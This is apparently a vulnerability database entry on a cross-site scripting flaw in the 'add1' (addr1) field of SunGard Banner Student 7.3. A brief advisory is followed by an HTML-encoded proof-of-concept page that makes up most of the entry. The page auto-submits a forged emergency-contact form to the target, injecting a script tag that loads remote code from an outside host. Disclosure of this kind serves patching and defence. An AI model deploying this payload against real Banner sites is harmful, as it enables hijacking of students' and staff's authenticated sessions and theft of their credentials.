SunGard Banner Student 7.3 'add1' Parameter Cross-Site Scripting Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Banner Student 7.3 'add1' Parameter Cross-Site Scripting Vulnerabilit

                                                source: http://www.securityfocus.com/bid/27490/info

Banner Student is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Banner Student 7.3 is vulnerable; other versions may also be affected. 

&#60;html&#62;&#60;head&#62;&#60;title&#62;Banner Vulnerability Test Case&#60;/title&#62;&#60;/head&#62; &#60;body&#62; &#60;FORM ACTION=&#34;https://www.example.com/ss/twbksrch.P_ShowResults&#34; METHOD=&#34;POST&#34;&#62; Search &#60;SPAN class=fieldlabeltextinvisible&#62;&#60;LABEL for=keyword_in_id&#62;&#60;SPAN class=fieldlabeltext&#62;Search&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/SPAN&#62; &#60;INPUT TYPE=&#34;text&#34; NAME=&#34;KEYWRD_IN&#34; SIZE=&#34;20&#34; MAXLENGTH=&#34;65&#34; ID=&#34;keyword_in_id&#34;&#62; &#60;INPUT TYPE=&#34;submit&#34; VALUE=&#34;Go&#34;&#62; &#60;/FORM&#62; &#60;/div&#62; &#60;/TD&#62; &#60;TD CLASS=&#34;pldefault&#34;&#62;&#60;p class=&#34;rightaligntext&#34;&#62; &#60;SPAN class=&#34;pageheaderlinks&#34;&#62; &#60;A HREF=&#34;/ss/twbkwbis.P_GenMenu?name=bmenu.P_GenMnu&#34; class=&#34;submenulinktext2&#34; &#62;RETURN TO MENU&#60;/A&#62; | &#60;A HREF=&#34;/ss/twbksite.P_DispSiteMap?menu_name_in=bmenu.P_MainMnu&depth_in=2&columns_in=3&#34; accesskey=&#34;2&#34; class=&#34;submenulinktext2&#34;&#62;SITE MAP&#60;/A&#62; | &#60;A HREF=&#34;/wtlhelp/twbhhelp.htm&#34; accesskey=&#34;H&#34; onClick=&#34;popup = window.open(&#39;/wtlhelp/twbhhelp.htm&#39;, &#39;PopupPage&#39;,&#39;height=450,width=500,scrollbars=yes,resizable=yes&#39;); return false&#34; target=&#34;_blank&#34; onMouseOver=&#34;window.status=&#39;&#39;; return true&#34; onMouseOut=&#34;window.status=&#39;&#39;; return true&#34;onFocus=&#34;window.status=&#39;&#39;; return true&#34; onBlur=&#34;window.status=&#39;&#39;; return true&#34; class=&#34;submenulinktext2&#34;&#62;HELP&#60;/A&#62; | &#60;A HREF=&#34;twbkwbis.P_Logout&#34; accesskey=&#34;3&#34; class=&#34;submenulinktext2&#34;&#62;EXIT&#60;/A&#62; &#60;/span&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;/TABLE&#62; &#60;/DIV&#62; &#60;DIV class=&#34;pagetitlediv&#34;&#62; &#60;TABLE CLASS=&#34;plaintable&#34; SUMMARY=&#34;This table displays title and static header displays.&#34; WIDTH=&#34;100%&#34;&#62; &#60;TR&#62; &#60;TD CLASS=&#34;pldefault&#34;&#62; &#60;H2&#62;Update Emergency Contacts&#60;/H2&#62; &#60;/TD&#62; &#60;TD CLASS=&#34;pldefault&#34;&#62; &nbsp; &#60;/TD&#62; &#60;TD CLASS=&#34;pldefault&#34;&#62;&#60;p class=&#34;rightaligntext&#34;&#62; &#60;DIV class=&#34;staticheaders&#34;&#62; &#60;/div&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD class=&#34;bg3&#34; width=&#34;100%&#34; colSpan=3&#62;&#60;IMG SRC=&#34;/wtlgifs/web_transparent.gif&#34; ALT=&#34;Transparent Image&#34; TITLE=&#34;Transparent Image&#34; NAME=&#34;web_transparent&#34; HSPACE=0 VSPACE=0 BORDER=0 HEIGHT=3 WIDTH=10&#62;&#60;/TD&#62; &#60;/TR&#62; &#60;/TABLE&#62; &#60;a name=&#34;main_content&#34;&#62;&#60;/a&#62; &#60;/DIV&#62; &#60;DIV class=&#34;pagebodydiv&#34;&#62; &#60;!-- ** END OF twbkwbis.P_OpenDoc ** --&#62; &#60;DIV class=&#34;infotextdiv&#34;&#62;&#60;TABLE CLASS=&#34;infotexttable&#34; SUMMARY=&#34;This layout table contains information that may be helpful in understanding the content and functionality of this page. It could be a brief set of instructions, a description of error messages, or other special information.&#34;&#62;&#60;TR&#62;&#60;TD CLASS=&#34;indefault&#34;&#62;&nbsp;&#60;/TD&#62;&#60;TD CLASS=&#34;indefault&#34;&#62;&#60;SPAN class=infotext&#62; Enter a new emergency contact. When finished, Submit Changes. &#60;/SPAN&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;/TABLE&#62;&#60;P&#62;&#60;/DIV&#62; &#60;FORM NAME=&#34;MyForm&#34; ACTION=&#34;https://www.example.com:9170/ssINTG/bwgkoemr.P_UpdateEmrgContacts&#34; METHOD=&#34;post&#34;&#62; &#60;INPUT TYPE=&#34;hidden&#34; NAME=&#34;oldpri&#34; VALUE=&#34;2&#34;&#62; &#60;INPUT TYPE=&#34;hidden&#34; NAME=&#34;last_active&#34; VALUE=&#34;20070821154753&#34;&#62; &#60;TABLE CLASS=&#34;dataentrytable&#34; SUMMARY=&#34;This layout table is used to format the Emergency Contacts form.&#34;&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=remove_id&#62;&#60;SPAN class=fieldlabeltext&#62;Remove Contact:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62;&#60;INPUT TYPE=&#34;checkbox&#34; NAME=&#34;remove_it&#34; ID=&#34;remove_id&#34;&#62;&#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=priority_id&#62;&#60;SPAN class=fieldlabeltext&#62;Order:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;INPUT TYPE=&#34;text&#34; NAME=&#34;priority_in&#34; SIZE=&#34;2&#34; MAXLENGTH=&#34;1&#34; VALUE=&#34;2&#34; ID=&#34;priority_id&#34;&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=rship_id&#62;&#60;SPAN class=fieldlabeltext&#62;Relationship:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;SELECT NAME=&#34;rship&#34; SIZE=&#34;1&#34; ID=&#34;rship_id&#34;&#62; &#60;OPTION VALUE=&#34;&#34; SELECTED&#62;Not Applicable &#60;OPTION VALUE=&#34;A&#34;&#62;An Ex-spouse &#60;/SELECT&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=fname_id&#62;&#60;SPAN class=fieldlabeltext&#62;First Name:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;INPUT TYPE=&#34;text&#34; NAME=&#34;fname&#34; SIZE=&#34;20&#34; MAXLENGTH=&#34;15&#34; ID=&#34;fname_id&#34;&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=mi_id&#62;&#60;SPAN class=fieldlabeltext&#62;Middle Initial:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;INPUT TYPE=&#34;text&#34; NAME=&#34;mi&#34; SIZE=&#34;2&#34; MAXLENGTH=&#34;1&#34; ID=&#34;mi_id&#34;&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=lname_id&#62;&#60;SPAN class=fieldlabeltext&#62;Last Name:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;INPUT TYPE=&#34;text&#34; NAME=&#34;lname&#34; SIZE=&#34;35&#34; MAXLENGTH=&#34;25&#34; ID=&#34;lname_id&#34;&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=addr1_id&#62;&#60;SPAN class=fieldlabeltext&#62;Address Line 1:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;INPUT TYPE=&#34;text&#34; NAME=&#34;addr1&#34; SIZE=&#34;35&#34; MAXLENGTH=&#34;30&#34; ID=&#34;addr1_id&#34;&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=addr2_id&#62;&#60;SPAN class=fieldlabeltext&#62;Address Line 2:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;INPUT TYPE=&#34;text&#34; NAME=&#34;addr2&#34; SIZE=&#34;35&#34; MAXLENGTH=&#34;30&#34; ID=&#34;addr2_id&#34;&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=addr3_id&#62;&#60;SPAN class=fieldlabeltext&#62;Address Line 3:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;INPUT TYPE=&#34;text&#34; NAME=&#34;addr3&#34; SIZE=&#34;35&#34; MAXLENGTH=&#34;30&#34; ID=&#34;addr3_id&#34;&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=city_id&#62;&#60;SPAN class=fieldlabeltext&#62;City:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;INPUT TYPE=&#34;text&#34; NAME=&#34;city&#34; SIZE=&#34;30&#34; MAXLENGTH=&#34;20&#34; ID=&#34;city_id&#34;&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=stat_id&#62;&#60;SPAN class=fieldlabeltext&#62;State or Province:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;SELECT NAME=&#34;stat&#34; SIZE=&#34;1&#34; ID=&#34;stat_id&#34;&#62; &#60;OPTION VALUE=&#34;&#34; SELECTED&#62;Not Applicable &#60;OPTION VALUE=&#34;RI&#34;&#62;Rhode Island &#60;/SELECT&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=zip_id&#62;&#60;SPAN class=fieldlabeltext&#62;Zip or Postal Code:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;INPUT TYPE=&#34;text&#34; NAME=&#34;zip&#34; SIZE=&#34;11&#34; MAXLENGTH=&#34;10&#34; ID=&#34;zip_id&#34;&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=natn_id&#62;&#60;SPAN class=fieldlabeltext&#62;Country:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;5&#34; CLASS=&#34;dedefault&#34;&#62; &#60;SELECT NAME=&#34;natn&#34; SIZE=&#34;1&#34; ID=&#34;natn_id&#34;&#62; &#60;OPTION VALUE=&#34;&#34; SELECTED&#62;Not Applicable OPTION VALUE=&#34;US&#34;&#62;United States &#60;/SELECT&#62; &#60;/TD&#62; &#60;/TR&#62; &#60;TR&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=area_id&#62;&#60;SPAN class=fieldlabeltext&#62;Area Code:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD COLSPAN=&#34;1&#34; CLASS=&#34;dedefault&#34;&#62; &#60;INPUT TYPE=&#34;text&#34; NAME=&#34;area&#34; SIZE=&#34;4&#34; MAXLENGTH=&#34;3&#34; ID=&#34;area_id&#34;&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=phone_id&#62;&#60;SPAN class=fieldlabeltext&#62;Phone Number:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD CLASS=&#34;dedefault&#34;&#62;&#60;INPUT TYPE=&#34;text&#34; NAME=&#34;phone&#34; SIZE=&#34;9&#34; MAXLENGTH=&#34;8&#34; ID=&#34;phone_id&#34;&#62;&#60;/TD&#62; &#60;TD CLASS=&#34;delabel&#34; scope=&#34;row&#34; &#62;&#60;LABEL for=ext_id&#62;&#60;SPAN class=fieldlabeltext&#62;Extension:&#60;/SPAN&#62;&#60;/LABEL&#62;&#60;/TD&#62; &#60;TD CLASS=&#34;dedefault&#34;&#62;&#60;INPUT TYPE=&#34;text&#34; NAME=&#34;ext&#34; SIZE=&#34;5&#34; MAXLENGTH=&#34;4&#34; ID=&#34;ext_id&#34;&#62;&#60;/TD&#62; &#60;/TR&#62; &#60;/TABLE&#62; &#60;P&#62; &#60;INPUT TYPE=&#34;submit&#34; VALUE=&#34;Submit Changes&#34;&#62; &#60;INPUT TYPE=&#34;reset&#34; VALUE=&#34;Reset&#34;&#62; &#60;/FORM&#62; &#60;script&#62; document.MyForm.addr1.value=&#39;\&#60;script src=http://www.example2.com/s&#62;&#39;; document.MyForm.natn.value=&#39;US&#39;; document.MyForm.stat.value=&#39;RI&#39;; document.MyForm.fname.value=&#39;NAME&#39;; document.MyForm.lname.value=&#39;NAME&#39;; document.MyForm.city.value=&#39;Providence&#39;; document.MyForm.zip.value=&#39;02912&#39;; document.MyForm.submit(); &#60;/script&#62; &#60;/body&#62; &#60;/html&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1